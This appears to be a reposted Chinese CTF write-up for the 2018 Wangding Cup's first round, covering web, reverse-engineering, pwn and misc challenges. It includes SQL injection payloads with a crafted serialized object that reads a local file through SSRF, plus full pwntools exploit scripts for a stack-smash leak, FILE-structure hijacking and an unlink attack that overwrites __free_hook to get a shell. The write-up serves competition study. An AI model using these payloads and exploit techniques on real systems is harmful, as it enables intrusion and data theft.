前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >网鼎杯第一场writeup

网鼎杯第一场writeup

作者头像
安恒网络空间安全讲武堂
发布2018-09-21 14:57:23
1.4K0
发布2018-09-21 14:57:23
举报
文章被收录于专栏:安恒网络空间安全讲武堂

web

facebook

首先访问robots.txt

存在备份泄露,把user.php.bak下载下来

代码语言:javascript
复制
<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

猜测可有ssrf,但是正则很严格,继续看下去

注册一个账号,发现

view.php的no参数是可以注入的

payload:/view.php?no=-6 unIon/**/select 1,table_name,3,4 from information_schema.tables where table_schema=database()

可以注入出表名 也可以注入出列名 from information_schema.columns where table_schema=database() limit 0,3 分别是nousernamepassworddata 查看data的数据会发现是一个序列化的数据

报错中也可以看出用了unserialize()函数,那么在这里我们就可以通过注入来控制反序列化,再利用 ssrf 读文件

payload:

/view.php?no=1 unIon/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"ckj123";s:3:"age";i:111111;s:4:"blog";s:29:"file:///var/www/html/flag.php";} '

re

Advance

首先运行程序看一下:

a0.png

将这串数字decode hex得到:

K@LKVHr[DXEsLsYI@\AMYIr\EIZQ

然后拖入IDA看看:

a1.png

d_run_main

再看其他的函数,虽然没有去符号,但是都很难看。

a5.png

点进去看这个函数,发现还是很奇怪。

a2.png

a3.png

中间的过程像是将angv的内容copy到一块区域。其他也看不出个所以然了。

实在不行我们看一下字符串,如下:

a4.png

看到了那串字符串,那只要看一下索引不就可以找到对应函数了吗!

很可惜..对应的索引在data段上,再向上索引就到了ELF_HEADER上..

在比赛的时候我的思路就只到了这里,还有就是根据字符串中的.d文件推测这是用D语言写的。实在没辙了就根据疑似flag的数据入手。将首字符与'f'作异或,再将异或值与这个字符串逐个异或过去,发现了一些东西:

a6.png

可以很明显看出,这应该是一个奇偶分别异或一个值得到的flag。那么像上面一样将第二个值得到,写出如下脚本:

代码语言:javascript
复制
stringA = r'K@LKVHr[DXEsLsYI@\AMYIr\EIZQ'
flag = ''
for i in range(len(stringA)):
    if(i % 2 == 0):
        flag += chr(ord(stringA[i]) ^ 45)
    else:
        flag += chr(ord(stringA[i]) ^ 44)
print(flag)

赛后和学长复盘了一下。发现这道题与CSAW 2016的一道题及其相似..就连脚本都可以直接套用..更正确的解法应该是从函数名入手(其实是一种挺正常的想法吧..)。

a7.png

这里找到这个函数后,在IDA中点开分析。

a8.png

这里可以大致推断两个参数为之前的那串字符串以及其长度。

发现这里符号有点奇怪,都是xxxx_111/222…._xxxx这样的。那么再点进去看一下。

a10.png

这边可以用D语言的demangle洗一遍符号。进行分析。

最后分析出来,脚本如下:

代码语言:javascript
复制
stringA = r'K@LKVHr[DXEsLsYI@\AMYIr\EIZQ'
listA = []
for i in stringA:
    listA.append(ord(i))
for i in range(1,500):
    encryptStr = str(i) * 3
    for i in range(len(stringA)):
        listA[i] = listA[i] ^ ord(encryptStr[i % len(encryptStr)]) ^ len(stringA)
flag = ''.join(chr(i) for i in listA)
print(flag)

flag{d_with_a_template_phew}

Beijing

拖入IDA,如图:

b0.png

可以看出它经过了一个函数后将一个字符输出,那在虚拟机中跑一下试试。

b1.png

那么就进入函数看一下。

b2.png

可以看出,输出的字符根据传进来的参数作为switchtable的选择子,将相邻的两个字符进行一个异或,最后将结果返回。那再看一下进行异或的数据是什么。

b3.png

b4.png

我们可以看见一些关键字符,如'{','}','_',且都在奇数位上,而偶数位还有一些不可显字符。那就大胆猜测只要不异或偶数位就ok。最后脚本如下:

代码语言:javascript
复制
string = 'aginbefjml{z}_W'
num = [6,9,0,1,0xa,0,8,0,0xb,2,3,1,0xd,4,5,2,7,2,3,1,0xc]
flag = ''
for i in num:
    flag += string[i]
print(flag)

flag{amazing_beijing}

PWN

GUESS

注意到这里flag已经被读进栈里,但是下面的比较并没有什么问题,不可能直接猜出那么长的flag,但是很明显有个栈溢出可以用

再看下面有一个很奇怪的地方

他为什么要特意用fork出来的进程跑流程呢,我们看下保护

发现开了canary,因为是fork出来的进程所以不用怕跑崩,就可以考虑故意触发__stack_chk_fail并通过超长的溢出改掉argv[0]来输出你想输出的一切,原理如下:

__stack_chk_fail :

代码语言:javascript
复制
void 
__attribute__ ((noreturn)) 
__stack_chk_fail (void) {   
    __fortify_fail ("stack smashing detected"); 
}

fortify_fail:

代码语言:javascript
复制
void 
__attribute__ ((noreturn)) 
__fortify_fail (msg)
   const char *msg; {
      /* The loop is added only to keep gcc happy. */
         while (1)
              __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") 
} 
libc_hidden_def (__fortify_fail)

对于此题的目标——栈上的flag来说,刚好三步就可以得到(也是题目设计的次数) 第一步利用got表来得到libc地址 第二步利用libc的environ来得到stack地址 第三步计算flag地址直接输出

最后是poc:

代码语言:javascript
复制
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./guess')
    bin = ELF('./guess')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    cn = remote('106.75.90.160',9999)
    bin = ELF('./guess')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


cn.sendline(p64(0x602020)*200)

cn.recvuntil('***: ')
lbase = u64(cn.recvuntil('\x7f').ljust(8,'\x00')) - libc.sym['puts']
print('lbase:' + hex(lbase))

env = lbase + libc.sym['environ']

cn.sendline(p64(env)*200)
cn.recvuntil('***: ')
sbase = u64(cn.recvuntil('\x7f').ljust(8,'\x00')) - 0x168
print('sbase:' + hex(sbase))

cn.sendline(p64(sbase)*200)

#z('c')
cn.interactive()

blind

除了没有提供任何方式输出字符串外就是一个普通的堆题,存在use after free漏洞,且chunk大小属于fastbin范围,可以考虑比较常见的fastbin attack方式进行利用。

由于还开了got表保护,所以没办法通过修改got表来执行getshell函数,但bss上的文件指针却可以拿来利用。 思路是首先通过fastbin attack修改ptr指针,方便待会任意地址写,然后找一块地方伪造自己的FILE结构体,并修改stdout指针指向那个结构体,伪造的时候把getshell函数作为结构体虚表函数的地址,这样待会输出的时候就会跑去直接getshell函数了。 poc如下:

代码语言:javascript
复制
from pwn import *
context.log_level='debug'
p=remote('106.75.20.44',9999)
#p=process('./blind')
p.recv()
def pr():
    p.recvuntil('ice:')
def new(index,content,sh=0):
    p.send('1\n')
    p.recvuntil('Index:')
    p.send(str(index))
    p.recvuntil(':')
    p.sendline(content)
    if sh==1:
        p.interactive()
    pr()

def change(index,content,sh=0):
    p.send('2\n')
    p.recvuntil('Index:')
    p.send(str(index))
    p.recvuntil(':')
    p.sendline(content)
    if sh==1:
        p.interactive()
    pr()

def free(index):
    p.send('3\n')
    p.recvuntil('Index:')
    p.send(str(index))
    pr()

def write(addr,v,sh=0):
    change(0,p64(0x602060)+p64(addr))
    change(1,v,sh)

puts=0x601FA0
ptr=0x602060
target=0x60201d
shell=0x4008E3
new(0,"asdasd")
free(0)
change(0,p64(target))
new(5,p64(shell)*10)
new(3,'\x00'*3+'\x00'*0x30+p64(0x602060))

write(0x602100,p64(0xfbada887)+p64(0)*7+p64(1))
write(0x6021d8,p64(0x602200))
write(0x602200, p64(shell)*8)
write(0x602020,p64(0x602100),1)
p.interactive()

babyheap

p1.png

跟上面一题比较类似,本身也有UAF漏洞,但是chunk的大小限制为了0x30。这样就不能直接通过fastbin attack修改malloc_hook进行攻击。但是由于程序没有开PIE,就可以利用unlink改掉edit的限制次数,leak出libc基址,最后将system地址写入free_hook,getshell。

代码语言:javascript
复制
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./babyheap')
    bin = ELF('./babyheap',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
    cn = remote('106.75.67.115', 9999)
    bin = ELF('./babyheap',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    pass


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


def add(idx,con):
    cn.sendlineafter('Choice:','1')
    cn.sendlineafter(':',str(idx))
    cn.sendlineafter(':',con)

def edit(idx,con):
    cn.sendlineafter('Choice:','2')
    cn.sendlineafter(':',str(idx))
    cn.sendlineafter(':',con)

def dele(idx):
    cn.sendlineafter('Choice:','4')
    cn.sendlineafter(':',str(idx))

def show(idx):
    cn.sendlineafter('Choice:','3')
    cn.sendlineafter(':',str(idx))


add(0,p64(0x30)*3+'\x30')
add(1,'asd')
add(2,'asd')
add(3,'asd')
add(4,p64(0)+p64(0x21))

dele(2)
dele(3)
show(3)

hbase=u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-0x60
success(hex(hbase))

edit(3,p64(hbase+0x20))


dele(0)
add(9,p64(0)+p64(0x21)+p64(0x30)+p32(0x30))

# z()

add(6,'/bin/sh')
add(7,p64(0x20)+p64(0x90))

dele(0)

add(8,p64(0)+p64(0x21)+p64(0x0602060-0x18+9*8)+p32(0x0602060-0x10+9*8))

dele(1)

# z('b*0x0000000000400C86\nc')
edit(9,p64(0x000000000602098)*2+p64(0x0000000006020B0)+p32(bin.got['free']))
show(9)

lbase=u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-libc.sym['free']
success(hex(lbase))

# z('b*0x0000000000400B1D\nc')
edit(8,p64(0))

edit(7,p64(0x000000000602098)+p64(0x0000000006020B0)+p64(lbase+libc.sym['__free_hook'])[:-1])

edit(8,p64(0))

edit(9,p64(lbase+libc.sym['system'])[:-1])

# z('b free\nc')
dele(3)
# z()

cn.interactive()

misc

clip

下载下来之后有这两个文件

告诉我们要切割 用010editor打开damaged.disk 会在里面找到两个

然后将这两张png分别拿出来补齐文件头和文件尾 前面加上 89 50 4E 47 0D 0A 1A 0A 后面加上 00 00 00 00 49 45 4E 44 AE 42 60 82 就可以得到两张图片了

然后将两张图片切成数个图拼起来得到flag

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-08-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档